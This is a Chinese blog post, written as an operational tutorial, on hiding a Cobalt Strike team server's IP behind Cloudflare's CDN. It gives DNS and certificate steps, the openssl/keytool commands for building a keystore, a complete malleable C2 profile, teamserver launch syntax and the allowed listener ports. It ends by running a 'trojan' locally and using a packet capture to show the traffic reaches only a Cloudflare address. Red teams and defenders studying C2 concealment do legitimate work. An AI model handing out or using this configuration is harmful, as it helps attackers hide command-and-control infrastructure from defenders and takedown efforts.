Trtyr's Blog

Cobalt Strike加Cloudflare实现IP隐藏

字数统计: 1.2k阅读时长: 4 min
2024/03/27

Cobalt Strike加Cloudflare实现IP隐藏

引言

本篇文章实现了,利用Cloudflare的CDN代理实现Cobalt Strike的公网IP隐藏。

操作

准备

  • 一台有公网IP的服务器
  • Cloudflare账号
  • 一个域名
  • 可运行的Cobalt Strike服务端和客户端

开始操作

下面的操作,默认你完成了上述准备操作

修改域名DNS

我们首先要修改域名的DNS,让他指向Cloudflare。

在Cloudflare中,可以得到两个NS的记录

将这两个记录替换到域名的DNS里头,这里演示的是腾讯云平台的操作,其他平台大同小异

点击修改DNS服务器,经过一个身份认证后就可以进行修改

选择自定义DNS,修改即可

修改成功后,稍等片刻,Cloudflare会给你发一个邮件,同时页面会变成这样

出现有效就说明托管成功了。等待的时间因人而已,我是等了半个点吧

解析二级域名

我们点击进去,左侧找到DNS,找到记录,往下找

点击添加记录

类型选择A。名称填一个二级域名,起啥都行。IPv4填你的VPS公网IP。代理状态开启,让该二级域名流量经过Cloudflare

等待片刻,刷新你的DNS缓存,ping一下你的二级域名,看能不能通

1
2
ipconfig /flushdns  // 刷新DNS缓存
ping 你的二级域名

可以ping通,查看一下这个IP

是一个美国IP,二级域名解析成功。

Cloudflare创建证书

在Cloudflare左侧,找到SSL/TLS

先来到概述,将加密模式设置为完全

然后找到源服务器,点击进去

点击创建证书

生成ECC密钥,有效时间自己判断。由于我是这个域名只是用来测试,没有其他的服务了,所以就直接15年。正常证书时间是1年左右,如果你还想拿这个证书来部署其他网站,那就选1年。

点击右下角的创建,然后你就会得到一个源证书私钥,把他俩复制下来。分别放进server.pemserver.key文件内。

关闭缓存

左侧找到规则,接着找到页面规则

点击右侧的创建页面规则

填写你的二级域名,选择缓存级别,选择绕过

这样你的二级域名就不会被缓存了。

Cobalt Strike服务端设置

来到Cobalt Strike服务端,将之前的server.pemserver.key文件上传到服务器

如果有cobaltstrike.store文件,就先把他删了

1
rm cobaltstrike.store

运行命令

1
openssl pkcs12 -export -in server.pem -inkey server.key -out  你的二级域名.p12 -name 你的二级域名 -passout pass:自己设置个密码
1
keytool -importkeystore -deststorepass 上面设置的密码 -destkeypass 上面设置的密码 -destkeystore 你的二级域名.store -srckeystore 你的二级域名.p12 -srcstoretype PKCS12 -srcstorepass 上面设置的密码 -alias 你的二级域名

然后新建一个cloudflare.profile文件

1
vim cloudflare.profile

写入内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
https-certificate {
set keystore "你的二级域名.store";
set password "上面设置的密码";
}
http-stager {
set uri_x86 "/api/1";
set uri_x64 "/api/2";
client {
header "Host" "你的二级域名";}
server {
output{
print;
}
}
}
http-get {
set uri "/api/3";
client {
header "Host" "你的二级域名";
metadata {
base64;
header "Cookie";
}
}
server {
output{
print;
}
}
}
http-post {
set uri "/api/4";
client {
header "Host" "你的二级域名";
id {
uri-append;
}
output{
print;
}
}
server {
output{
print;
}
}

}

开启Cobalt Strike服务端

1
sudo ./teamserver IP passwd cloudflare.profile

其中的passwd是CS客户端要连接的密码,和上面的密码没关系

这里我有个unable是因为云服务器的nat问题,只要开起来就行,其他的不用管。

Cobalt Strike客户端设置

连接上,新建一个监听器,这里注意几点

HTTP HostsHTTP Host(Stager)HTTP Host Header填你的二级域名。port这里,由于我选择的是HTTP协议,Cloudflare支持的HTTP端口有80、8080、8880、2052、2082、2086、2095,所以端口这里只能是这几个。如果是HTTPS的话,同理,Cloudflare只支持443、2053、2083、2087、2096、8443这些端口。

然后保存就行了。剩下的操作就不用我多说了吧。

检验

我这里就先本地运行一下木马来做检验。

可以看到,本地机器上线了。我们运行一个命令,看看流量

命令成功执行,看看抓包情况。

我的内网IP是172.40.196.244,那就筛选源IP为172.40.196.244的数据

1
ip.src_host==172.40.196.244

粉色的数据是客户端和服务端的连接,黄色的TCP连接是我们的CS数据。可以看到,我们的目的地址是172.67.170.118

成功。

CATALOG
  1. 1. 引言
  2. 2. 操作
    1. 2.1. 准备
    2. 2.2. 开始操作
      1. 2.2.1. 修改域名DNS
      2. 2.2.2. 解析二级域名
      3. 2.2.3. Cloudflare创建证书
      4. 2.2.4. 关闭缓存
      5. 2.2.5. Cobalt Strike服务端设置
      6. 2.2.6. 开启Cobalt Strike服务端
      7. 2.2.7. Cobalt Strike客户端设置
    3. 2.3. 检验